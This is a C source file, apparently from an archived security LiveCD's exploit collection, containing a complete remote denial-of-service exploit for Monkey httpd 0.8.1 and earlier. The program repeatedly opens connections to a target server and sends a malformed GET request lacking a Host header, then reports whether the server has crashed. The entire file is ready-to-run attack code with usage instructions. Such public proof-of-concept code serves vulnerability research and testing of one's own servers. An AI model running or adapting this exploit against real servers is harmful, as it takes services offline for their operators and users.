home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webserver / monkey / monkeydos.c < prev   
C/C++ Source or Header  |  2005-02-12  |  3KB  |  162 lines

  1. /*
  2.  
  3. by Luigi Auriemma
  4.  
  5. UNIX & WIN VERSION
  6. */
  7.  
  8. #include <stdio.h>
  9. #include <stdlib.h>
  10. #include <string.h>
  11.  
  12. #ifdef WIN32
  13.     #include <winsock.h>
  14.     #include "winerr.h"
  15.  
  16.     #define close   closesocket
  17. #else
  18.     #include <unistd.h>
  19.     #include <sys/socket.h>
  20.     #include <sys/types.h>
  21.     #include <arpa/inet.h>
  22.     #include <netdb.h>
  23. #endif
  24.  
  25.  
  26.  
  27.  
  28. #define VER     "0.1"
  29. #define PORT    2001
  30. #define MAX     20
  31. #define TIMEOUT 7
  32. #define REQ     "GET /%%%%%%%%%%%% HTTP/1.0\r\n" \
  33.                 "\r\n"
  34.                 /* %%%%%%%%%%%% doesn't seem to be needed */
  35.                 /* no "Host" = BOOM */
  36.  
  37.  
  38.  
  39. int timeout(int sock);
  40. u_long resolv(char *host);
  41. void std_err(void);
  42.  
  43.  
  44.  
  45.  
  46.  
  47. int main(int argc, char *argv[]) {
  48.     struct  sockaddr_in     peer;
  49.     int     sd,
  50.             err,
  51.             i;
  52.     u_short port = PORT;
  53.  
  54.     setbuf(stdout, NULL);
  55.  
  56.     fputs("\n"
  57.         "Monkey httpd <= 0.8.1 remote DoS "VER"\n"
  58.         "by Luigi Auriemma\n"
  59.         "e-mail: aluigi@altervista.org\n"
  60.         "web:    http://aluigi.altervista.org\n"
  61.         "\n", stdout);
  62.  
  63.     if(argc < 2) {
  64.         printf("\nUsage: %s <server> [port(%d)]\n"
  65.             "\n", argv[0], PORT);
  66.         exit(1);
  67.     }
  68.  
  69. #ifdef WIN32
  70.     WSADATA    wsadata;
  71.     WSAStartup(MAKEWORD(1,0), &wsadata);
  72. #endif
  73.  
  74.     if(argc > 2) port = atoi(argv[2]);
  75.  
  76.     peer.sin_addr.s_addr = resolv(argv[1]);
  77.     peer.sin_port        = htons(port);
  78.     peer.sin_family      = AF_INET;
  79.  
  80.     printf("\nConnections to %s:%hu\n",
  81.         inet_ntoa(peer.sin_addr), port);
  82.  
  83.     for(i = 0; i < MAX; i++) {
  84.         printf("%d\r", i);
  85.  
  86.         sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  87.         if(sd < 0) std_err();
  88.         err = connect(sd, (struct sockaddr *)&peer, sizeof(peer));
  89.         if(err < 0) std_err();
  90.         err = send(sd, REQ, sizeof(REQ) - 1, 0);
  91.         if(err < 0) std_err();
  92.         close(sd);
  93.     }
  94.  
  95.     printf("\n\n- Now I check if the server is dead (%d seconds):\n", TIMEOUT);
  96.  
  97.     sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  98.     if(sd < 0) std_err();
  99.     err = connect(sd, (struct sockaddr *)&peer, sizeof(peer));
  100.     if(err < 0) std_err();
  101.     err = send(sd, REQ, sizeof(REQ) - 1, 0);
  102.     if(err < 0) std_err();
  103.     err = timeout(sd);
  104.     if(err < 0) {
  105.         fputs("\n    Server IS vulnerable!!!\n\n", stdout);
  106.     } else {
  107.         fputs("\n    Server doesn't seem to be vulnerable\n\n", stdout);
  108.     }
  109.     close(sd);
  110.  
  111.     return(0);
  112. }
  113.  
  114.  
  115.  
  116.  
  117.  
  118. int timeout(int sock) {
  119.     struct  timeval tout;
  120.     fd_set  fd_read;
  121.     int     err;
  122.  
  123.     tout.tv_sec = TIMEOUT;
  124.     tout.tv_usec = 0;
  125.     FD_ZERO(&fd_read);
  126.     FD_SET(sock, &fd_read);
  127.     err = select(sock + 1, &fd_read, NULL, NULL, &tout);
  128.     if(err < 0) std_err();
  129.     if(!err) return(-1);
  130.     return(0);
  131. }
  132.  
  133.  
  134.  
  135.  
  136. u_long resolv(char *host) {
  137.     struct  hostent *hp;
  138.     u_long  host_ip;
  139.  
  140.     host_ip = inet_addr(host);
  141.     if(host_ip == INADDR_NONE) {
  142.         hp = gethostbyname(host);
  143.         if(!hp) {
  144.             printf("\nError: Unable to resolve hostname (%s)\n", host);
  145.             exit(1);
  146.         } else host_ip = *(u_long *)(hp->h_addr);
  147.     }
  148.     return(host_ip);
  149. }
  150.  
  151.  
  152.  
  153.  
  154. #ifndef WIN32
  155.     void std_err(void) {
  156.         perror("\nError");
  157.         exit(1);
  158.     }
  159. #endif
  160.  
  161.  
  162.